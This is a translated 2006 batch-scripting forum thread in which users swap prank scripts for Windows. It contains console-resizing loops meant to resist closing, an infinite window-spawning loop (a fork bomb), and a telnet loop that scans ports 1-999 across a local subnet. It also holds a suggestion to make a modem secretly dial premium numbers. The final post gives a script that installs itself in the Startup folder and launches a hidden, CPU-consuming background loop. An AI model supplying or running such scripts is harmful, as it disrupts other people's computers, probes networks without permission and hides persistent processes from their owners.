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Original Poster Posted 2006-10-15 08:48　·　 中国 四川 成都 教育网
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```
cmd /cmode con:cols=9000 lines=9000
```

Maybe it's very slow, heh heh. If someone comes up with a for loop again, it'll be cool
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redtek +1 2006-10-16 10:29

C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>"
Floor 2 Posted 2006-10-15 08:56　·　 中国 江西 南昌 电信
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Advocate: Draw a plus sign before running, and say "Amen" silently~! Ensure the safety of the machine body~!
Floor 3 Posted 2006-10-15 08:56　·　 中国 四川 成都 教育网
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Another one for fun



@echo off

mode con:cols=80 lines=1

for /l %%a in (1,1,9999) do (

	ping/n 1 127.1>nul

	mode con:cols=80 lines=%%a

)

C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>"
Floor 4 Posted 2006-10-16 00:17　·　 中国 北京 海淀区 方正集团
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Why is my machine still so fast?

cmd has used a total of 1.6M and 5% of CPU
Floor 5 Posted 2006-10-16 01:04　·　 中国 四川 成都 移动
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Hehe, let's make it more prankish based on the 3rd floor. This one is really hard to terminate with the mouse unless you're quick-eyed and quick-fingered, or you use the keyboard to terminate, or terminate it in the Task Manager.



@echo off

mode con:cols=80 lines=5

setlocal enabledelayedexpansion

for /l %%a in (1,1,9999) do (

    set line=%%a

    set /a mod=!line!%%2

    if !mod! equ 0 (set col=80&set line=10) else (set col=40&set line=5)

    mode con:cols=!col! lines=!line!

)


[ Last edited by namejm on 2006-10-16 at 01:06 ]
尺有所短，寸有所长，学好CMD没商量。
考虑问题复杂化，解决问题简洁化。
Floor 6 Posted 2006-10-16 02:28　·　 中国 四川 成都 教育网
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Just right-click on the taskbar and click Close.

C:\>BLOG http://initiative.yo2.cn/
C:\>hh.exe ntcmds.chm::/ntcmds.htm
C:\>cmd /cstart /MIN "" iexplore "about:<bgsound src='res://%ProgramFiles%\Common Files\Microsoft Shared\VBA\VBA6\vbe6.dll/10/5432'>"
Floor 7 Posted 2006-10-16 02:38　·　 中国 北京 海淀区 方正集团
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Haha, I tried it, it's very easy to click the cross.
Floor 8 Posted 2006-10-16 10:25　·　 中国 四川 成都 移动
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There are still so many ways to turn it off. It seems that the prank didn't succeed. electronixtar, you come up with something better.
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Floor 9 Posted 2006-10-16 10:30　·　 中国 湖南 娄底 新化县 电信
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Try this and see how it works, heh heh...



@echo off

:go

start

goto go
Floor 10 Posted 2006-10-16 10:31　·　 中国 北京 联通
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Let's still pop up tens of thousands of windows, haha...
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　　Hehe, Brother namejm's prank is quite fun. It doesn't let you click the cross in the upper right corner of the window, but you can close it with one click on the taskbar. It seems I need to mess with it more~~ :)
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　　Let me also do a little bit:


@echo off

for /l %%i in (1,1,255) do (

for /l %%o in (1,1,999) do (

@telnet 192.168.1.%%i %%o

)

)
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redtek +1 2006-10-16 10:41
Floor 13 Posted 2006-10-16 10:39　·　 中国 北京 联通
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Suggest that the AT command first hang up the MODEM's internet connection state, and then let the MODEM secretly dial international long-distance calls or 168 charging platforms, etc. : ) Is there still anyone using MODEM these days?
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　　Yes, I am using a router and a modem to access the internet here.
Floor 15 Posted 2006-10-17 06:59　·　 中国 山东 淄博 联通
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@echo off

:go

start

goto go

I think this is just about closing the first window, right?

Also based on this principle
I'll do something more aggressive
But let me say first
I have no malice啊


@echo off

if not exist "%HOMEPATH%\..\All Users\「Start」Menu\Programs\Startup\power.bat" copy %~fs0 "%HOMEPATH%\..\All Users\「Start」Menu\Programs\Startup\power.bat">nul

echo @echo off>%windir%\power.bat

echo if "%%1"=="" goto :end>>%windir%\power.bat

echo if exist C:\_stop goto :EOF>>%windir%\power.bat

echo start /B %%~fs0 exp>>%windir%\power.bat

echo :s>>%windir%\power.bat

echo if not exist C:\_stop goto s>>%windir%\power.bat

echo exit>>%windir%\power.bat

echo :end>>%windir%\power.bat

echo del %%~fs0>>%windir%\power.bat

echo set ws=CreateObject("WScript.Shell")>%windir%\power.vbs

echo ws.Run "%windir%\power.bat exp",0 >>%windir%\power.vbs

WScript %windir%\power.vbs

del %windir%\power.vbs

set p=%~ps0

if not %p:~-3,2%==Startup del %~fs0


But it's better not to run it

When the file C:\_stop exists
There will be no action

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